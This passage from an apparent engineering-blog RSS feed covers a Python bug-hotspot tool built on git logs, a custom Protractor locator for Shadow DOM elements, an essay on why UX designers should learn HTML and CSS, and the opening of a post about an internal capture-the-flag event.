which are very sensitive to changes in them or their upstream modules. And with a new team member joining and having to eventually commit changes in those same modules requires that there be some way to keep track of such pieces of code, other than the human memories. Also finding such spots in source code gives a better perspective of the places which might need refactoring or rethinking the strategy of implementation. It is obvious to think that prediction of bugs’ occurrence would require multiple parameters chugged into a big neural network to compute what might be the probability of those occurrences. Turns out we can use fewer and simpler metrics to do just that. <h3 id="solution" style="position:relative;"><a href="#solution" aria-label="solution permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h3> <a href="https://web.archive.org/web/20170706022036id_/http://earlbarr.com/publications/hitmiss.pdf">Rehman et al.</a> Note that all you need to have is a history or cache of changes done in the source code and some labels to mark which of the changes were done to fix bugs. Mapping these changes to the files or pieces of code would lead to the places where rework or careful peer review is required. As engineers at Google <a href="%E2%80%8B%E2%80%8Bhttp://google-engtools.blogspot.com/2011/12/bug-prediction-at-google.html">here</a> mention, coupling this with a time-decay function, which would reduce the priority of a piece of code as the bug fix done in it becomes older in the face of new bugs surfacing in other pieces of code. We found that this was beautifully implemented by <a href="https://github.com/niedbalski/python-bugspots">Jorge Niedbalski</a> but that it had a bug in it for which we opened a <a href="https://github.com/niedbalski/python-bugspots">pull request</a>. Nonetheless, the module worked pretty well so we forked it and made some changes in it for our usage. The idea here is to read through the <code class="language-text">git logs</code> of a given repository and sift through them searching for commits labeled with specific keywords. This considered along with how frequently and how recent changes were made in the repository tells which piece of code is the hot spot. We use the <a href="https://pypi.org/project/vcstools/">vcstools</a> library to operate and deal with the version control system repositories. We first check the path provided to check if it is a valid vcs repository. <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">def get_current_vcs(path): if path is None: path = '.' for vcs_type in vcs_abstraction.get_registered_vcs_types(): vcs = vcs_abstraction.get_vcs(vcs_type) if vcs.static_detect_presence(path): return vcs(path) raise Exception("Did not find a valid VCS repository")</code></pre></div> Then we get the changesets from the specific branch of the repository. <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">def get_changesets(days_ago): current_branch = vcs.get_current_version_label() if current_branch != branch: vcs._do_checkout(branch) for log in vcs.get_log(): (date, message, id) = (log['date'], log['message'], log['id']) commit_date = date.replace(tzinfo=None) if commit_date >= days_ago and \ description_regex.search(message): yield((message, commit_date, vcs.get_affected_files(id)))</code></pre></div> Here we also check that the changesets should be from the commits within the time period specified and that the commit messages should have the specific keywords. We use the following regex to match any commit messages that have the bug fix keywords. <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">"^.*([B|b]ug)s?|([f|F]ix(es|ed)?|[c|C]lose(s|d)?)|(([Q|q][F|f])-\d?).*$"</code></pre></div> Once we have the fix commits from the specified branch and within the desired time-period, we can also proceed to exclude some files which might not be of our interest for computing bug hotspots. This will include dependencies files like package.json, requirements.txt, yarn.lock, or Readme files. This is driven by a boolean parameter. <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">def remove_excluded_files(fixes): exclusion_regex = re.compile( r".*(README|package\.json|yarn\.lock|test[s]*).*$") for fix in fixes: exclusion_files = [file for file in fix[2] if exclusion_regex.search(file)] for file in exclusion_files: fix[2].remove(file) return fixes</code></pre></div> Then we compute the hotspot factor for each of the files in the changesets procured. <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">def get_code_hotspots(options): commits = get_fix_commits(options.branch, options.days, options.path) if options.fileExclusions: commits = remove_excluded_files(commits) if not commits: print( '''Did not find commits matching search criteria\n''' f'''for repo at: {options.path} branch: {options.branch}''') return None print_summary(options.path, options.branch, len(commits), options.days) (last_message, last_date, last_files) = commits[-1] current_dt = datetime.datetime.now() print(f'\nFixes\n{("-" * 80)}') hotspots = {} for message, date, files in commits: this_commit_diff = time_diff(current_dt, date) last_commit_diff = time_diff(current_dt, last_date) factor = this_commit_diff / last_commit_diff factor = 1 - factor for filename in files: if filename not in hotspots: hotspots[filename] = 0 try: hotspot_factor = 1/(1+math.exp((-12 * factor) + 12)) except: pass hotspots[filename] += hotspot_factor print(f' -{message}') sorted_hotspots = sorted(hotspots, key=hotspots.get, reverse=True) print(f'\nHotspots\n{("-" * 80)}') for k in sorted_hotspots[:options.limit]: yield (hotspots[k], k)</code></pre></div> Along with this, we have added the following parameters to the command line using the <a href="https://docs.python.org/3/library/argparse.html">argparse</a> module. <h4 id="parameters-supported" style="position:relative;"><a href="#parameters-supported" aria-label="parameters supported permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Parameters supported</h4> <table> <thead> <tr> <th>Optional Argument</th> <th>Description</th> <th>Example usage</th> </tr> </thead> <tbody> <tr> <td>-h, --help</td> <td>Shows the help dialog describing usage</td> <td>bughotspots --help</td> </tr> <tr> <td>--days</td> <td>Number of days in history for which commits are considered to compute bug factor, default value: 30</td> <td>bughotspots --days 60</td> </tr> <tr> <td>--limit</td> <td>Max amount of file hotspots results to show, default value: 10</td> <td>bughotspots --limit 100</td> </tr> <tr> <td>--branch</td> <td>Use a specific branch, default value: 'master'</td> <td>bughotspots --branch feature-branch</td> </tr> <tr> <td>--bugsFile</td> <td>Use a file with list of bugs to search in commits, default to searching commits with QF issues mentioned</td> <td>bughotspots --bugsFile bugs.csv</td> </tr> <tr> <td>--paths</td> <td>Provide repository paths to look into, default to search in current directory</td> <td>bughotspots --paths ../folder1 ../folder2</td> </tr> <tr> <td>--fileExclusions</td> <td>Exclude changes in dependency files(package.json, requirements.txt), README and tests from consideration while computing bug hotspots, default value: false</td> <td>bughotspots --paths ../folder1 ../folder2</td> </tr> </tbody> </table> <h3 id="aftermath" style="position:relative;"><a href="#aftermath" aria-label="aftermath permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Aftermath</h3> Further, we can add the functionality to generate reports through this in markdown or even more beautified HTML reports. If historical trends are kept, then there can be trends plotted using visualization libraries like <a href="https://bokeh.org/">Bokeh</a>.</content:encoded><author>Punit Goswami</author></item><item><title><![CDATA[Handling Shadow DOM in Protractor Tests]]></title><description><![CDATA[Overview Shadow DOM has slowly and steadily become an integral part of modern web apps. Before this, the Web platform provided only one way…]]></description><link>https://engineering.wingify.com//posts/handling-shadow-dom-in-protractor/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/handling-shadow-dom-in-protractor/</guid><pubDate>Fri, 17 Sep 2021 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h3 id="overview" style="position:relative;"><a href="#overview" aria-label="overview permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Overview</h3> Shadow DOM has slowly and steadily become an integral part of modern web apps. Before this, the Web platform provided only one way to isolate one chunk of code from another - the iframe. But for most encapsulation requirements, the frames are too heavy and not as allowing. Enter the shadow DOM. Through this a browser can include the subtree of DOM elements into the rendered document, still keeping it separate from the main document's DOM tree. <h3 id="the-problem" style="position:relative;"><a href="#the-problem" aria-label="the problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Problem</h3> While our front-end automation tests were working fine under the Protractor-with-Jasmine implementation, handling shadow DOMs was still posing to be an elusive challenge. See, protractor does provide an out-of-the-box selector for handling shadow DOM elements - <code class="language-text">deepCSS</code>. But the truth of the story is that handling of the shadow DOM elements through <code class="language-text">deepCSS</code> is riddled with issues reported but unsolved and fixes suggested but not implemented or merged yet. <h3 id="the-solution" style="position:relative;"><a href="#the-solution" aria-label="the solution permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Solution</h3> So we decided to make a custom locator for handling shadow DOM elements since a lot of elements in our app were implemented through shadow DOM. Our approach was to traverse the shadow DOM tree as any other tree, from the root to the node, and traverse only that path that matches our desired path, as dictated by the selector path. Keeping a note of the immediate parent of the root node of the shadow tree allows us to map the shadow DOM tree to the main page DOM tree. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// split the selector path into degenerate shadow root levels const selectors = cssSelector.split('::sr'); // handling the case where no CSS selector is provided if (selectors.length === 0) { return []; } // attach a shadow DOM tree to the specified element's immediate parent const shadowDomInUse = document.head.attachShadow; /** * Determines whether the given element is a shadow root * @param {Object} el - web element */ const getShadowRoot = function (el) { return ((el &amp;&amp; shadowDomInUse) ? el.shadowRoot : el); };</code></pre></div> It also had to be kept in mind that more than one element could match any given selector path. So the matching elements would be kept in an array. Also, we run this recursively so that we traverse all the matching branches of any given node. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">/** * finds all elements matching the given selector, pushes them in an array * @param {string} selector - CSS selector * @param {Object} targets - Targetted element * @param {boolean} firstTry - Whether this is the first attempt to look for the element at the path */ const findAllMatches = function (selector, targets, firstTry) { let using, i; var matches = []; for (i = 0; i &lt; targets.length; ++i) { // traverse root level elements in targets, otherwise if not the first pass // traverse the nested shadow DOMs in the targets recursively using = (firstTry) ? targets[i] : getShadowRoot(targets[i]); if (using) { if (selector === '') { // if the selector is empty push the current element in the matches matches.push(using); } else { // get the node list of elements matching the selector, push it in the matches Array.prototype.push.apply(matches, using.querySelectorAll(selector)); } } } return matches; };</code></pre></div> We added this as a custom matcher through the <code class="language-text">addLocator()</code> method provided by Protractor to add custom locators. Making this an exportable module allowed us to import this in the protractor configuration file and then reference the selector in any spec file. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">/** * Adds shadow root locator; enables selection of elements inside shadow DOMs on a page */ exports.addShadowRootLocator = function () { by.addLocator('css_sr', function (cssSelector, optParentElement) { // split the selector path into degenerate shadow root levels const selectors = cssSelector.split('::sr'); // handling the case where no CSS selector is provided if (selectors.length === 0) { return []; } // attach a shadow DOM tree to the specified element's immediate parent const shadowDomInUse = document.head.attachShadow; // determines whether the given element is a shadow root const getShadowRoot = function (el) { return ((el &amp;&amp; shadowDomInUse) ? el.shadowRoot : el); }; // finds all elements matching the given selector, pushes them in an array const findAllMatches = function (selector, targets, firstTry) { let using, i; var matches = []; for (i = 0; i &lt; targets.length; ++i) { // traverse root level elements in targets, otherwise if not the first pass // traverse the nested shadow DOMs in the targets recursively using = (firstTry) ? targets[i] : getShadowRoot(targets[i]); if (using) { if (selector === '') { // if the selector is empty push the current element in the matches matches.push(using); } else { // get the node list of elements matching the selector, push it in the matches Array.prototype.push.apply(matches, using.querySelectorAll(selector)); } } } return matches; }; // invoke for the first pass on immediate children of the immediate parent node let matches = findAllMatches(selectors.shift().trim(), [optParentElement || document], true); // invoke for the rest of the child nodes if the selector path is not empty and immediate child nodes // of the parent node present in matches while (selectors.length > 0 &amp;&amp; matches.length > 0) { matches = findAllMatches(selectors.shift().trim(), matches, false); } // return array of matches return matches; }); };</code></pre></div> Thus now whenever we need to provide a path for some element that resides in the “shadows”, we do it like so: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">let playerSidebar = element(by.css_sr('::sr .player-sidebar'));</code></pre></div> <h3 id="takeaways" style="position:relative;"><a href="#takeaways" aria-label="takeaways permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Takeaways</h3> Making custom solutions for solving limitations or flaws in an existing piece of code is the essence of open-source software development. As Protractor nears its end of support in late 2022, this framework could still be kept alive with such implementations, building on top of the flexibility and reliability that it provides.</content:encoded><author>Punit Goswami</author></item><item><title><![CDATA[Designers should understand code]]></title><description><![CDATA[The term designer is used across many domains. In the context of this article, it refers to a UX (User Experience) designer. One question…]]></description><link>https://engineering.wingify.com//posts/designers-should-understand-code/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/designers-should-understand-code/</guid><pubDate>Wed, 21 Jul 2021 00:00:00 GMT</pubDate><content:encoded>The term designer is used across many domains. In the context of this article, it refers to a UX (User Experience) designer. One question that’s being asked over and over again - Should designers code or not? <img src="/images/2021/07/Image4.png"/> Google search the question, and you'll come across many different theories posted by influencers, practitioners, and gurus about this long-falling topic of debate. Some suggest designers must not just sit in front of their laptops and come up with fancy prototypes but know how to code them into existence. Professionals wearing multiple hats are always welcomed by companies. Meanwhile, many others may argue that design and development are two different niches and must be kept separate. A designer shouldn't worry much about the technical implications as it can limit their creativity, resulting in less than good solutions. These arguments have no means to an end as both design and development are two highly specialized professions, and each takes several years and hours of practice to master the very professions. The sweet spot, or shared understanding, probably lies somewhere in the middle. Knowing a little bit of coding doesn't mean the designer earns the title of 'expert coder,' but makes them understand a developer's perspective, just like an actor having basic knowledge of cinematography or direction improves their art of acting. <div style="text-align:center; margin: margin: auto"> <img src="/images/2021/07/Image5.png"/> </div> The better question to ask is - Should designers understand code? We think they definitely should. Having an understanding of the technology helps designers to identify and implement solutions without going back and forth with the developers to check what is possible. Let’s take a hypothetical example where a designer proposes a solution for better navigation in the app. The developers say that the current architecture of the app does not support this solution. Would it be worth re-building the entire application for the sake of the new navigation? Or should the designer come up with an alternative solution? The developer may suggest an alternate technically feasible solution which the designer may not agree with. This results in a loss of time in arguments, proposals, and iterations. If the designer had an understanding of coding, he would be in a better position to suggest a better solution. Designers who understand the technological underpinnings (that help deliver impeccable designs) make them more impressive and valuable and boost their career prospects as well. So, where to begin? <h3 id="start-with-the-basics---learn-htmlcss" style="position:relative;"><a href="#start-with-the-basics---learn-htmlcss" aria-label="start with the basics learn htmlcss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Start with the Basics - Learn HTML/CSS</h3> HTML (HyperText Markup Language) is a standard markup language used by web browsers to determine the placement of various elements such as images, texts, etc. On the other hand, CSS (Cascading Style Sheets) determines how to style HTML elements to beautify the page and make it more user-friendly. The two complement each other and are comparatively easier to understand, and do not involve any programming logic. Metaphorically speaking, if HTML is the skeleton of a web page, CSS would describe its shape, height, skin type, hair color, eye color, and the like. According to a <a href="https://www.statista.com/statistics/793628/worldwide-developer-survey-most-used-languages/">report published by Statista</a> in 2019, around 64% of developers worldwide code in HTML/CSS as it's one of the easiest languages to learn and code in. Another reason is that nearly all web pages and web apps are primarily HTML documents. This means that no matter which coding language you use, everything eventually converts back to HTML/CSS. So it makes sense for designers to get familiar with the easiest and most widely used language. <h3 id="how-htmlcss-helps-ux-designers" style="position:relative;"><a href="#how-htmlcss-helps-ux-designers" aria-label="how htmlcss helps ux designers permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How HTML/CSS helps UX Designers</h3> Understanding the Medium Let's consider the example of an architect. An architect's job is to create blueprints of buildings and structures and ensure they're beautiful, artistic, and aesthetically pleasing. But designing involves more than just sketching out a plan on a piece of paper. It includes ensuring the feasibility of the laid plan, paying attention to details such as construction materials, functionality, structural safety, price economics, and specific needs of the buyers. Similarly, the job of a designer is to create functional designs that are platform- and user-friendly. And, while there are many tools such as InVision Studio, Figma, Sketch, etc. to simplify and streamline a designer's work, they're useless if the prototypes designed using these high-end tools fail to give the look and feel as intended. <div style="text-align:center; margin: margin: auto"> <img src="/images/2021/07/Image1.png"> </div> On the other hand, understanding the medium, i.e., understanding how to code works, can help designers use these tools to their advantage. Knowing the basic code will not only give designers a new perspective to design but also understand what will happen to the layout further, provide solutions that are easy to implement, make the designs pixel-perfect, optimize them for various platforms, and circumvent all the back-and-forth. How to map the responsiveness of the design if the screen size changes? What if the images are taking too much time to load? How to optimize the design to maintain shorter code sheets? These are some questions designers, with some understanding of coding, will be able to answer themselves. Better Team Communication &#x26; Collaboration Communication and collaboration is fundamental to a UX designer's job. From product managers to stakeholders, customers, and developers, they need to collaborate with one-and-all and create meaningful designs as per project needs. And we know that good communication leads to better collaboration. Designers and developers are responsible for the same things - creating and delivering amazing products that match end-user demands. The more the two departments are in-sync, the better products they can create together. If designers have the necessary coding knowledge, it will help them to understand the technical constraints and problems and to make sure that the designs take them into consideration. They will also be able to reduce a developer's workload significantly, this will not only make designers a great asset to the developers but also strengthen their bond and mutual trust. <h3 id="deliver-design-handoffs-easily" style="position:relative;"><a href="#deliver-design-handoffs-easily" aria-label="deliver design handoffs easily permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Deliver Design Handoffs Easily</h3> Design handoff to developers is the end-product of all the research, brainstorming, countless iterations, and preliminary testings at the designer's end. <div style="text-align:center; margin: margin: auto"> <img src="/images/2021/07/Image2.png"/> </div> But, what if the final outcome still does not match the designs? Maybe there were some grids that the design failed to cover, some measurements went erratic, or images were too small to fit the actual screen size as per the pre-defined blueprint. In such situations, developers have to take extra steps, write some additional codes, rectify the issues, and align the faulty designs. However, with some basic understanding of code, designers are in a better position to spot technical limitations at an initial stage. They can quickly make necessary amendments, and even review the work done by the development team at the QA stage to ensure the launch of a high-quality product. Designers with basic coding knowledge are the ones who can make smooth handoffs for developers and simplify their otherwise complicated job. <h3 id="use-advanced-dev-tools-to-boost-design-process" style="position:relative;"><a href="#use-advanced-dev-tools-to-boost-design-process" aria-label="use advanced dev tools to boost design process permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Use Advanced Dev-tools to Boost Design Process</h3> In an agile development process, it is imperative to fail fast. Meaning, it takes a lot of time to explain ideas, wait for prototypes to be designed, coded, and reviewed or tested, only to realize the output sucks. It stands nowhere near the originally drafted prototype. How to cope up with such scenarios? Test ideas directly on a live website using dev-tools. <div style="text-align:center; margin: margin: auto"> <img src="/images/2021/07/Image3.png"/> </div> Designers with a some understanding of HTML/CSS can leverage these developer tools to test ideas on the live website and check their feasibility. Easily change the style of any page element, edit/omit a text, revamp image size, add or remove white space, choose frames to fit designs, and test how the final output behaves on different screen sizes. Such impromptu analysis eliminates multiple design back-and-forths and time spent reviewing final outputs at a developer's end. Besides these in-built dev-tools, there are a host of <a href="https://medium.com/better-programming/10-productivity-tools-for-front-end-developers-4021cdef6fcb">extensions and plugins</a> that designers with HTML/CSS knowledge can use to their advantage. Many visual website editors such as Webflow, Wix, etc. also serve handy to prepare quick designs and hand-to-hand reviews. Designers can also use some advanced features such as <a href="https://vwo.com/ab-testing/">A/B testing by VWO to test their designs</a> and check which ones get more traction. <h3 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> To conclude, it's not a designer's core job to code. There's an entire community of professional developers with extensive coding knowledge to do so. However, it's about learning, developing new skills, and adding an asset to one's advantage. Designing functional creatives with HTML/CSS knowledge is not just an added skill set you possess, but an ability to reduce workload, accelerate processes, and pave the way to healthy process unification. <h3 id="next-steps" style="position:relative;"><a href="#next-steps" aria-label="next steps permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Next steps</h3> To start your journey as a UX designer with HTML/CSS knowledge, go through this list of free online resources to choose from. Courses - <a href="https://www.khanacademy.org/computing/computer-programming/html-css">Khan Academy</a> - Khan academy has completely free, interactive, and highly structured courses on HTML and CSS. They are great at starting you off on your coding journey. <a href="https://www.codecademy.com/learn/learn-html">Codecademy</a> - Codecademy also provides really good, interactive HTML and CSS courses. While not completely free, it still has a lot of good content available for no price. Helpful Resources - <a href="https://developer.mozilla.org/en-US/">Mozilla Developer Network</a> - One of the more legitimate sources that accurately describes and explains what each HTML, CSS, JavaScript or jQuery element is or does. <a href="http://www.w3schools.com/">W3 Schools</a> - This site would be useful when you want to get simple, human-language explanations of certain HTML and CSS elements. <a href="https://codepen.io/">CodePen</a> — This is an online, real-time, code editor. You can also find tons of nice examples and projects here. <a href="http://www.dontfeartheinternet.com/">Don’t Fear the Internet</a> - It is a super eight-part series that gets you going with HTML &#x26; CSS — it even delves into the all-important topic of typography. <a href="https://css-tricks.com/guides/beginner/">Just Starting Out with CSS &#x26; HTML</a> - A collection of articles on CSS-Tricks to get started with HTML and CSS.</content:encoded><author>Randeep Singh</author></item><item><title><![CDATA[Wingify CTF 2k21]]></title><description><![CDATA[Here at Wingify, we love solving problems and puzzles. To spread this spirit of problem solving, we organized the fourth edition of Capture…]]></description><link>https://engineering.wingify.com//posts/ctf-2k21/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/ctf-2k21/</guid><pubDate>Thu, 20 May 2021 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px;"> <img src="/images/2021/05/ctf-hero-image.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Here at Wingify, we love solving problems and puzzles. To spread this spirit of problem solving, we organized the fourth edition of <a href="https://engineering.wingify.com/posts/wingify-capture-the-flag/">Capture The Flag</a>. In case you’re wondering, Capture the flag AKA CTF is a cybersecurity competition where the participants play hacker games or challenges to find hidden flags by either hacking, finding vulnerabilities, or solving codes legally and safely. It is a place where we can learn what happens when things are implemented improperly and protect ourselves. Generally, CTF is played as a team game. There are mainly three types of CTF: <ol> <li>Jeopardy - Solve as many challenges as you can in a given amount of time. In Jeopardy, the challenges are present in unique and intriguing ways which can be solved using networking, programming, applications, mobile, forensics, reverse engineering, and cryptography.</li> <li>Attack-Defense - Attack a server to find the flag while denying access to your competitors. Your team has to do two tasks together - attack the system breaking through the defense in the server and defense made by other competitors and create fortification so that your competitors can’t get through.</li> <li>The third type is a combination of both Jeopardy and Attack-Defense.</li> </ol> Our iteration of CTF was a 3 hour event was organized in a Jeopardy style format. Participants worked in groups of up to 3 to solve multiple challenges. 